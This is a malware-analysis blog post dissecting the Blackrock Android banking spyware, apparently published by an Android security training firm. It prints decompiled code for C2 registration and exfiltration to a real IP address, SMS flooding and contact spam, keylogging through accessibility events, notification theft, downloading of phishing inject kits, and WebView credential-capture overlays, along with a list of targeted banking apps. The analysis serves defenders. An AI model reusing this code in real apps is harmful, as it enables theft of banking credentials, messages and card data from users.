Mobile Malware Analysis Part 7 – Blackrock

Application Details

Name : Flash Player

Package : artwork.differ.kitchen

SHA256 Hash : a25bf4bdb2ed9872456af0057eb21ce31fd03d680d63a9da469519060b4814bc

Introduction

Hey there! Welcome to the seventh blog in our Mobile Malware Analysis series. Today, let’s dive into Blackrock, a sneaky spyware that takes its commands from a hidden server. This malware uses tricks like messing with accessibility settings and pulling off phishing stunts to snatch keylogs and getting users to spill personal info.

Without any further delay, lets work into dissecting this malicious sample.

Analysis

Here is the initial analysis check by Virustotal

#image_title
Image Reference: Virustotal check

Lets open this sample in JADX to know how it works.

AndroidManifest.xml

				
					<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SYNC_STATS"/>
<uses-permission-sdk-23 android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.QUICKBOOT_POWERON"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
				
			

Looking at these permissions we could understand that the app will be using our Contacts , External Storage, Accessibility Service , SMS and much more.

As for the components , except for the Application Subclass , none of the component are available in the disk which means they must be loaded dynamically at runtime.

Lets check out the dynamic loading using Medusa.

Here is the list of scripts that can be used to check for Dumping and Loading of Dynamic Dex Code.

  • memory_dump/dump_dyndex

  • memory_dump/dump_dex

  • code_loading/load_class

  • code_loading/dynamic_code_loading

#image_title
Image Reference: Medusa Output

We could see a file named wumso.json which is stored in /data/user/0/artwork.differ.kitchen/app_DynamicOptDex is loaded using DexClassLoader and we could also see classes like security.sword.AlarmBroadCastReceiver , security.sword.Permission is getting loaded.

Now that we got our DEX file , lets start our analysis from security.sword.MainActivity .

MainActivity

				
					public class MainActivity extends Activity {
  @Override 
  protected void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      try {
          b.a().a(this);
          startService(new Intent(this, CommandService.class));
          ComponentName componentName = new ComponentName(this,MainActivity.class);
          PackageManager packageManager = getPackageManager();
          getPackageManager();
          packageManager.setComponentEnabledSetting(componentName, 2, 1);
      } catch (Exception e) {
          e.printStackTrace();
      }
      finish();
  }
}
				
			

In Function a(Context c) , they are creating an PendingIntent for AlarmBroadcastReceiver and uses another helper method that uses AlarmManager to schedule the PendingIntent to be executed after a specified delay.

Lets check the working of AlarmBroadcastReceiver.

				
					public class AlarmBroadcastReceiver extends BroadcastReceiver {
  @Override 
  public void onReceive(Context context, Intent intent) {
      String name = getClass().getName();
      Log.d(name, "time second : " + new Date().toString());
      b.a().a(context);
      if (!a(context, CommandService.class)) {
          try {
              context.startService(new Intent(context, CommandService.class));
          } catch (Exception ex) {
              ex.printStackTrace();
          }
      }
  }

  private boolean a(Context context, Class serviceClass) {
      ActivityManager manager = (ActivityManager) context.getSystemService("activity");
      for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
          if (serviceClass.getName().equals(service.service.getClassName())) {
              return true;
          }
      }
      return false;
  }
}
				
			

Its basically checks whether a service named CommandService is running or not. If not running , start that service.

Coming back to MainActivity,

  • CommandService is started

  • Using packageManager.setComponentEnabledSetting(``componentName, 2, 1); , they are hiding the app icon. (This is pretty common amongst Android Malwares to maintain persistence)

Lets now check CommandService .

CommandService

Starting from onStartCommand() , we can see the following.

				
					public int onStartCommand(Intent intent, int flags, int startId) {
    Log.i("Test", "Service: onStartCommand");
    try {
        this.f205b = this;
        f();
        return 1;
    } catch (Exception e) {
        e.printStackTrace();
        return 1;
    }
}
				
			

Function f initializes a Scheduler to execute Method c at a regular interval.

				
					void c() {
      String Accessibility;
      String screen;
      try {
          this.f204a.getClass();
          security.sword.a.b("26kozQaKwRuNJ24t", this.f204a.f270a);
          this.f204a.getClass();
          security.sword.a decrypted = security.sword.a.a("26kozQaKwRuNJ24t", "MzVBOEU4RUExNzdDNTA3NzN2d4aaiU2eCF7zGpaxGnZoCUs4ByC63zVz9mHieQqu");
          String.valueOf(decrypted).equals(this.f204a.f270a);
      } catch (Exception e) {
          e.printStackTrace();
      }
      try {
          boolean accessibilityServiceEnabled = a(this.f205b, AccesService.class);
          if (!accessibilityServiceEnabled) {
              Accessibility = "0";
              try {
                  Handler handler = new Handler(Looper.getMainLooper());
                  handler.post(new a());
              } catch (Exception e2) {
                  e2.printStackTrace();
              }
          } else {
              Accessibility = "1";
              if (Build.VERSION.SDK_INT &gt;= 23 &amp;&amp; !d()) {
                  Intent as = new Intent(this.f205b, Permission.class);
                  as.addFlags(268468224);
                  this.f205b.startActivity(as);
              }
          }
          String IMEI = Settings.Secure.getString(getContentResolver(), "android_id");
          KeyguardManager km = (KeyguardManager) getSystemService("keyguard");
          boolean locked = km.inKeyguardRestrictedInputMode();
          if (locked) {
              screen = "0";
          } else {
              screen = "1";
          }
          String whitelist = "0";
          if (Build.VERSION.SDK_INT &gt;= 23) {
              PowerManager powerManager = (PowerManager) getSystemService("power");
              boolean inWhiteList = powerManager.isIgnoringBatteryOptimizations(getPackageName());
              whitelist = inWhiteList ? "1" : "0";
          }
          String model = a(this);
          String Log = String.format("{ \"action\": \"reg\", \"params\": { \"imei\": \"%s\",\"whitelist\": \"%s\",\"model\": \"%s\",\"Accessibility\": \"%s\",\"screen\": \"%s\"}}", IMEI, whitelist, model, Accessibility, screen);
          new b(Log).execute(1);
          if (Build.VERSION.SDK_INT &gt;= 21) {
              e();
          }
      } catch (Exception e3) {
          e3.printStackTrace();
      }
  }
				
			

We could see some interesting classes and strings being used here.

Although the initial try-catch block was nothing useful, we need to take a note of class f204a which had member variables like,

				
					public class d {
  String f270a = "http://185.215.113.90/";
  String[] f271b = {"com.leumi.leumiwallet", "com.westernunion.moneytransferr3app.es", "com.ubercab.eats", "com.kraken.trade", [..REDACTED..]};
	String[] f272c = {"org.telegram.messenger", "com.viber.voip", "com.whatsapp", "com.whatsapp.w4b", "com.twitter.android", [..REDACTED..]};
	String[] d = {"com.kms.free", "com.drweb", "com.eset.endpoint", "com.eset.parental", "com.eset.stagefrightdetector", [..REDACTED..]};
}
				
			

We got an HTTP URL which we can consider as our C2C server and some arrays which contains package names of famous applications like Telegram , Whatsapp , Twitter etc..

Continuing with Method c of CommandService,

In the next try-block , it is checking whether Accessibility Service of this app has been enabled or not and based on that , code gets executed.

  • If not enabled , then it will request the user to enable it.

  • If enabled, then it will create an intent for Permission activity and start it.

After that, the code collects information like IMEI , whether any sort of Lock screen is used by the device , List of apps whose package names matches the array f271b of class f204a we discussed little above. After adding these information in a formatted string, it gets passed to a class g that extends AsyncTask.

Lets first check doInBackground() .

				
					public String doInBackground(String... arg0) {
    String Log = arg0[0];
    try {
        f277b.getClass();
        a encrypted = a.b("26kozQaKwRuNJ24t", String.valueOf(Log));
        String data = "data=" + encrypted.a();
        String link = f277b.url + "gate.php";
        URL url = new URL(link);
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
        wr.write(data);
        wr.flush();
        BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));
        StringBuilder sb = new StringBuilder();
        while (true) {
            String line = reader.readLine();
            if (line != null) {
                sb.append(line);
            } else {
                return sb.toString();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
        return "";
    }
 }
				
			

We could see that an URLConnection object is created for the URL http://185.215.113.90/gate.php and the string that contained information of our device is being sent to the C2C server.

Looking into onPostExecute , it is basically getting some commands from the server based on which code gets executed. Lets take a look at these commands and the actions performed.

				
					public void onPostExecute(String result) {
  super.onPostExecute(result);
  if (result != null) {
      try {
          f275b.getClass();
          a decrypted = a.a("26kozQaKwRuNJ24t", result);
          JSONObject obj = new JSONObject(String.valueOf(decrypted.a()));
          String action = obj.getString("action");
          JSONObject params = obj.getJSONObject("params");
          if (action.equals("Send_SMS")) {
              try {
                  c.c(f274a, params);
              } catch (Exception e) {
                  e.printStackTrace();
              }
          }
          if (action.equals("Flood_SMS")) {
              try {
                  c.a(f274a, params);
              } catch (Exception e2) {
                  e2.printStackTrace();
              }
          }
          if (action.equals("Download_SMS")) {
              try {
                  c.c(f274a);
              } catch (Exception e3) {
                  e3.printStackTrace();
              }
          }
          if (action.equals("Spam_on_contacts")) {
              try {
                  c.d(f274a, params);
              } catch (Exception e4) {
                  e4.printStackTrace();
              }
          }
          if (action.equals("Change_SMS_Manager")) {
              try {
                  c.b(f274a);
              } catch (Exception e5) {
                  e5.printStackTrace();
              }
          }
          if (action.equals("Run_App")) {
              try {
                  c.b(f274a, params);
              } catch (Exception e6) {
                  e6.printStackTrace();
              }
          }
          if (action.equals("StartKeyLogs")) {
              try {
                  c.f(f274a);
              } catch (Exception e7) {
                  e7.printStackTrace();
              }
          }
          if (action.equals("StopKeyLogs")) {
              try {
                  c.i(f274a);
              } catch (Exception e8) {
                  e8.printStackTrace();
              }
          }
          if (action.equals("StartPush")) {
              try {
                  c.g(f274a);
              } catch (Exception e9) {
                  e9.printStackTrace();
              }
          }
          if (action.equals("StopPush")) {
              try {
                  c.j(f274a);
              } catch (Exception e10) {
                  e10.printStackTrace();
              }
          }
          if (action.equals("Hide_Screen_Lock")) {
              try {
                  c.d(f274a);
              } catch (Exception e11) {
                  e11.printStackTrace();
              }
          }
          if (action.equals("Unlock_Hide_Screen")) {
              try {
                  c.l(f274a);
              } catch (Exception e12) {
                  e12.printStackTrace();
              }
          }
          if (action.equals("Admin")) {
              try {
                  c.a(f274a);
              } catch (Exception e13) {
                  e13.printStackTrace();
              }
          }
          if (action.equals("Profile")) {
              try {
                  c.e(f274a);
              } catch (Exception e14) {
                  e14.printStackTrace();
              }
          }
          if (action.equals("Start_clean_Push")) {
              try {
                  c.h(f274a);
              } catch (Exception e15) {
                  e15.printStackTrace();
              }
          }
          if (action.equals("Stop_clean_Push")) {
              try {
                  c.k(f274a);
              } catch (Exception e16) {
                  e16.printStackTrace();
              }
          }
      } catch (Exception e17) {
          e17.printStackTrace();
      }
  }
}
				
			

Send_SMS

#image_title
Code: security/sword/c.c()

For this command , the app receives phone number and text from a JSONObject sent by the server as show in line 37 and 38 respectively.

It then sends the message to the corresponding number using sms.sendMultipartTextMesage() .

Flood_SMS

#image_title
Code : security.sword.c.a()
#image_title
Code: security.sword.c.q [Runnable]

Works in the way Send_SMS works i.e receives Text content and Phone number from the JSONObject sent by the server and sends a message to that Phone number. But here it uses a SchedulerExecutorService to send message every 5 second.

Download_SMS

#image_title
Code: security.sword.c.c()

In Line 104, we could see the code uses the system content provider content://sms .

In Lines 109,110,111 using a while loop , they collect information like Body , Phone Number and whether that message is an Outgoing or Incoming message and sends all these information back to the server.

Spam_on_contacts

#image_title
Code: security.sword.c.d()

In Line 190, they are querying ContactsContract.CommonDataKinds.Phone.CONTENT_URI URI and receive a cursor of it. Using the cursor, it is collecting the phone numbers in our contacts and sends a message using sendTextMessage() with text of message provided by the server in line 186.

Change_SMS_Manager

Checks whether this application is working as the default SMS Application. Here is the check.

				
					boolean currentDefault = Telephony.Sms.getDefaultSmsPackage(this.f231a).equals(packageInfo.applicationInfo.packageName);
				
			

If not it starts an intent requesting the user to select this app as the default app.

#image_title
Code: security.sword.Smsmnd.a

StartKeyLogs

The ultimate goal of this command is to collect the text content present on screen and sends it to the server. (Its Working will be discussed when we discuss the working Accessibility Service AccessService)

Initially, this command just creates file named StartKeyLogs.txt in /sdcard directory.

Code: security.sword.c.f()

StopKeyLogs

Final goal of this command is to stop logging the events from targets

Performs by deleting the file StartKeyLogs.txt created for StartKeyLogs command.

				
					File filedel = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
filedel.delete();
				
			

Hide_Screen_Lock

Final goal of this command is to keep the device on the home screen using. (Working will be explained during AccessService analysis).

Just like StartKeyLogs , it creates Screen_Lock.txt in /sdcard directory.

Unlock_Hide_Screen

Deletes Screen_Lock.txt file from /sdcard directory. Ultimately unlocking the device from the home screen

Profile

Adds a managed admin profile for this application

Performs this by starting Systems activity.

In Systems activity,

#image_title
Code: security.sword.Systems

In Line 18 , they are first checking whether this application is registered as the profile owner for the user.

If not it calls function a where depending on the SDK Version , they use various intent filters to request the user to grant Profile Owner privileges for this application.

Start_clean_Push

End goal of this command is to dismiss all push notifications. (Its working will be discussed when looking into AccessService ).

Initially, this command just creates file named StartCleanPush.txt in /sdcard directory.

Code: security.sword.c.h()

Stop_clean_Push

Stops dismissing push notifications.

Performs by deleting the file StartCleanPush.txt created for Start_clean_Push command.

				
					File filedel = new File(Environment.getExternalStorageDirectory() + "/StartCleanPush.txt");
filedel.delete();
				
			

Run_App

				
					try {
    App = params.getString("App");
} catch (Exception e2) {
    e2.printStackTrace();
}
try {
    Intent i2 = context.getPackageManager().getLaunchIntentForPackage(App);
    context.startActivity(i2);
} catch (Exception e3) {
    e3.printStackTrace();
}
				
			

Starts the app whose package name is provided by the server

Admin

It creates an intent to start Admin activity.

In Admin Activity,

				
					try {
    DevicePolicyManager mDPM = (DevicePolicyManager) getSystemService("device_policy");
    ComponentName mDeviceAdmin = new ComponentName(this, Admins.class);
    if (!mDPM.isAdminActive(mDeviceAdmin)) {
        Intent intentt = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        intentt.putExtra("android.app.extra.DEVICE_ADMIN", mDeviceAdmin);
        intentt.putExtra("android.app.extra.ADD_EXPLANATION", "To update the version");
        startActivity(intentt);
    }
} catch (Exception e) {
}
				
			

It aims to get Admin Privileges for this application using android.app.action.ADD_DEVICE_ADMIN .

Now that we have looked at the commands , if we think back , assume we provided Accessibility service for this application it started Permission activity. Lets take a look at it.

Permission Activity

				
					@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    if (Build.VERSION.SDK_INT &gt;= 23) {
        g();
        return;
    }
    try {
        PackageManager pm = getPackageManager();
        List packages = pm.getInstalledApplications(128);
        for (ApplicationInfo pInfo : packages) {
            String str1 = pInfo.packageName;
            if (Arrays.asList(this.f217a.f269b).contains(str1)) {
                new e(this).execute(pInfo.packageName);
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    finish();
}
				
			

In function g , they are asking permission for READ_EXTERNAL_STORAGE , EQUEST_IGNORE_BATTERY_OPTIMIZATIONS , READ_CONTACTS and much more.

If we look at the try-catch case , we could see they are running a loop to see whether package name is present in the list of predefined package names. If it matches then , AsyncTask e is executed.

				
					public String doInBackground(String... arg0) {
    String App = arg0[0];
    try {
        String PATH = this.f272b.getFilesDir().getAbsolutePath() + File.separator;
        URL url = new URL(this.f271a.url + "public_image/" + App + ".zip");
        HttpURLConnection c2 = (HttpURLConnection) url.openConnection();
        c2.setRequestMethod("GET");
        c2.connect();
        FileOutputStream fos = this.f272b.openFileOutput(App + ".zip", 0);
        InputStream is = c2.getInputStream();
        byte[] buffer = new byte[16384];
        while (true) {
            int len1 = is.read(buffer);
            if (len1 == -1) {
                break;
            }
            fos.write(buffer, 0, len1);
        }
        fos.close();
        is.close();
        i.a(PATH + App + ".zip", PATH, "");
    } catch (Exception e) {
        e.printStackTrace();
    }
    return "";
}
				
			

We could see that they are downloading a zip file from the URL that looks like

[http://185.215.113.90/<package_name>.zip](http://185.215.113.90/<package_name>.zip) and saves it in /data/user/0/artwork.differ.kitchen/files . Later this zip file is unzipped.

NOTE: At the time of writing this blog , the C2C server was down.

 

Now lets turn our attention to AccessService which is responsible for handling the accessibility events.

AccessService

				
					try {
    if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") &amp;&amp; Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
        SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
        String str1 = String.format("%s", event.getPackageName());
        if (!settings.getBoolean("injActive", false)) {
            File fs = new File(getFilesDir().getAbsolutePath() + File.separator + str1);
            if (fs.exists() &amp;&amp; fs.isDirectory()) {
                Intent as = new Intent(this, Inject.class).putExtra("str", str1);
                as.addFlags(268468224);
                startActivity(as);
            }
        }
    }
} catch (Exception e) {
    e.printStackTrace();
}
				
			

When an app creates an AccessibilityEvent , if its package name is part of the array f269b (which contains list of all Popular Banking Applications) , it creates an intent for Inject activity with its package name as an extra.

				
					@Override
protected void onStart() {
  super.onStart();
  SharedPreferences settings = PreferenceManager.getDefaultSharedPreferences(this);
  SharedPreferences.Editor editor = settings.edit();
  editor.putBoolean("injActive", true);
  editor.commit();
  Intent intent = getIntent();
  String appName = intent.getStringExtra("str");
  String INJURL = getFilesDir().getAbsolutePath() + File.separator;
  try {
      this.f210a = new WebView(this);
      this.f210a.getSettings().setJavaScriptEnabled(true);
      this.f210a.setScrollBarStyle(0);
      this.f210a.setWebChromeClient(new WebChromeClient());
      this.f210a.addJavascriptInterface(new h(this, appName), "Android");
      this.f210a.setWebViewClient(new a(this));
      this.f210a.loadUrl("file:///" + INJURL + appName + "/index.html");
      setContentView(this.f210a);
      this.f210a.setWebViewClient(new b(appName));
  } catch (Exception e) {
      e.printStackTrace();
  }
}
				
			

We could see that this activity has a webview which loads a HTML script from the Files directory of this app’s private directory and if we remember correctly this app downloads zip file from the C2C server and saves it in the same Files directory.

				
					try {
  File f3 = new File(Environment.getExternalStorageDirectory() + "/inj.txt");
  if (!b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED") &amp;&amp; Arrays.asList(this.f198a.f270c).contains(String.format("%s", event.getPackageName()))) {
      SharedPreferences settings2 = PreferenceManager.getDefaultSharedPreferences(this);
      String str12 = String.format("%s", event.getPackageName());
      if (!settings2.getBoolean("injActive", false) &amp;&amp; !f3.exists() &amp;&amp; !f3.isFile()) {
          Intent as2 = new Intent(this, InjectCC.class).putExtra("str", str12);
          as2.addFlags(268468224);
          startActivity(as2);
      }
  }
} catch (Exception e2) {
    e2.printStackTrace();
}
				
			

In this try-catch block , like the previous block they are checking the package name of the app that created the event is found in Arrayf270c (This array contains package names of popular messaging applications). If found in this array, it creates an intent to InjectCC activity.

				
					@Override
protected void onStart() {
  super.onStart();
  SharedPreferences settings =PreferenceManager.getDefaultSharedPreferences(this);
  SharedPreferences.Editor editor = settings.edit();
  editor.putBoolean("injActive", true);
  editor.commit();
  Intent intent = getIntent();
  String appName = intent.getStringExtra("str");
  try {
      this.f213a = new WebView(this);
      this.f213a.getSettings().setJavaScriptEnabled(true);
      this.f213a.setScrollBarStyle(0);
      this.f213a.setWebChromeClient(new WebChromeClient());
      this.f213a.setBackgroundColor(0);
      this.f213a.setLayerType(1, null);
      this.f213a.addJavascriptInterface(new h(this, appName), "Android");
      this.f213a.setWebViewClient(new a(this));
      this.f213a.loadUrl("file:///android_asset/android/index.html");
      setContentView(this.f213a);
      this.f213a.setWebViewClient(new b());
  } catch (Exception e) {
      e.printStackTrace();
  }
} 
				
			

Even though this webview doesn’t load custom HTML script for each application and just loads [file:///android_asset/android/index.html](file:///android_asset/android/index.html) , the package name is being passed to the JavascriptInterface .

​NOTE: Both Inject and InjectCC Webview uses same Javascript Interface class i.e Class h.

In class h , we have functions like sendDataToServer, sendDataToServers , send_log_injects that collects (phishing) information like Credit Card Number and others from the user and sends it to the server.

Commands like StartPush , StartKeyLogs and StartCleanPush uses Accessibility Services to perform their actions. Lets look at how they work.

StartPush

				
					private String a(AccessibilityEvent event) {
    StringBuilder sb = new StringBuilder();
    for (CharSequence s : event.getText()) {
        sb.append(s);
    }
    return sb.toString();
}

File f11 = new File(Environment.getExternalStorageDirectory() + "/StartPush.txt");
if (f11.exists() &amp;&amp; f11.isFile()) {
    try {
        String AndroidId = Settings.Secure.getString(getContentResolver(), "android_id");
        if (String.format("%s", event.getPackageName()) != null &amp;&amp; String.format("%s", a(event)) != null &amp;&amp; String.format("%s", a(event)) != "") {
            byte[] encrpt2 = new byte[0];
            try {
                encrpt = String.format("NOTIFICATION: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event)).getBytes("UTF-8");
            } catch (UnsupportedEncodingException e3) {
                e3.printStackTrace();
                encrpt = encrpt2;
            }
            String base64 = Base64.encodeToString(encrpt, 2);
            if (b(event).equals("TYPE_NOTIFICATION_STATE_CHANGED")) {
                String Log = String.format("{ \"action\": \"pushlog\", \"params\": { \"imei\": \"%s\", \"type\": \"pushlog\", \"text\": \"%s\" }}", AndroidId, base64);
                new a(Log).execute(1);
            }
        }
        return;
    } catch (Exception e4) {
        e4.printStackTrace();
    }
}
				
			

This command first checks whether StartPush.txt is present or not. This block code gets executed when an AccessibilityEvent of type TYPE_NOTIFICATION_STATE_CHANGED is generated. Then using function a it collects notification content and sends it to the server.

Hide_Screen_Lock

				
					try {
  File f32 = new File(Environment.getExternalStorageDirectory() + "/Screen_Lock.txt");
  if (f32.exists() &amp;&amp; f32.isFile()) {
      performGlobalAction(2);
  }
} catch (Exception e8) {
  e8.printStackTrace();
}
				
			

According to the Android Developer Documentation , performGlobalAction() Performs a global action. Such an action can be performed at any moment regardless of the current application or user location in that application.

Parameter Value ⇒ 2 denotes Action to go home.

Lets look at the code for  security/sword/AccesService We’ll look at  StartKeyLogs.

				
					private String a(AccessibilityEvent event) {
    StringBuilder sb = new StringBuilder();
    for (CharSequence s : event.getText()) {
        sb.append(s);
    }
    return sb.toString();
}

File f7 = new File(Environment.getExternalStorageDirectory() + "/StartKeyLogs.txt");
if (f7.exists() &amp;&amp; f7.isFile()) {
    try {
        if (Arrays.asList(this.f198a.f269b).contains(String.format("%s", event.getPackageName()))) {
            String AndroidId2 = Settings.Secure.getString(getContentResolver(), "android_id");
            if (String.format("%s", event.getPackageName()) != null &amp;&amp; String.format("%s", a(event)) != null &amp;&amp; String.format("%s", a(event)) != "") {
                String Logs = String.format("KeyLogs: Package = [ %s ],text = [ %s ]", event.getPackageName(), a(event));
                Log.v("AccesService", Logs);
                byte[] encrpt3 = new byte[0];
                try {
                    encrpt3 = Logs.getBytes("UTF-8");
                } catch (UnsupportedEncodingException e10) {
                    e10.printStackTrace();
                }
                String base642 = Base64.encodeToString(encrpt3, 2);
                String Log2 = String.format("{ \"action\": \"log\", \"params\": { \"imei\": \"%s\", \"type\": \"keylog\", \"text\": \"%s\" }}", AndroidId2, base642);
                new b(Log2).execute(1);
            }
            return;
        }
    } catch (Exception e11) {
        e11.printStackTrace();
    }
}
				
			

When an application creates an AccessibilityEvent , if it belongs to list of targeted applications listed by array f269b , using event.getText() , it collects all text content present on the screen and exfiltrates the information to the server.

In short when we open a banking application for e.g Coinbase and if we perform some event like Long click , Selecting a text etc. it triggers our application. Then it finds the Coinbase application and steals content on the screen.

Targeted Apps

Here is the list of some of the targeted applications.

App NamePackage Name
לאומיcom.leumi.leumiwallet
Western Unioncom.westernunion.moneytransferr3app.es
Coinbaseorg.toshi
Krakencom.kraken.trade
Cryptopayme.cryptopay.android
Santander Argentinaar.com.santander.rio.mbanking
Coinbase: Buy Bitcoin & Ethercom.coinbase.android
myRAMSau.com.rams.RAMS
BitPay – Secure Bitcoin Walletcom.bitpay.wallet
Lloyds Bank Business Mobile Bankingcom.lloydsbank.businessmobile
HSBC Mobile Bankingcom.htsu.hsbcpersonalbanking
Garanti BBVA Cep Şifrematikbiz.mobinex.android.apps.cep_sifrematik
imo betacom.imo.android.imoimbeta
Mercado Pago: cuenta digitalom.mercadopago.wallet
Kotak Mobile Banking Appcom.msf.kbank.mobile
YONO Buisnesscom.sbi.SBAnywhereCorporate
AU 0101au.com.ubank.internetbanking

Conclusion

In conclusion, Blackrock’s covert maneuvers, exploiting accessibility settings and phishing tactics, pose a serious threat to mobile security. Unveiling its deceptive strategies sheds light on the importance of vigilant defenses. Dive into our detailed analysis to fortify your understanding and defenses against this sophisticated spyware. Stay informed, stay secure.

Looking to elevate your expertise in Android Security?

Offensive Android Internals Training

365 Days of Access | Hands-On Learning | Self-Paced Training

Get In Touch

Visit our training page if you’re interested in learning more about our other course offerings and want to develop your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings.

On Trend

Most Popular Stories

Hacking Android Games

Greetings and welcome to our blog post on the topic of Android game hacking. Today, we aim to provide you with an overview of the process involved in hacking Android games. It’s crucial to distinguish between app hacking and game hacking within the Android ecosystem.

Subscribe & Get InFormation

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.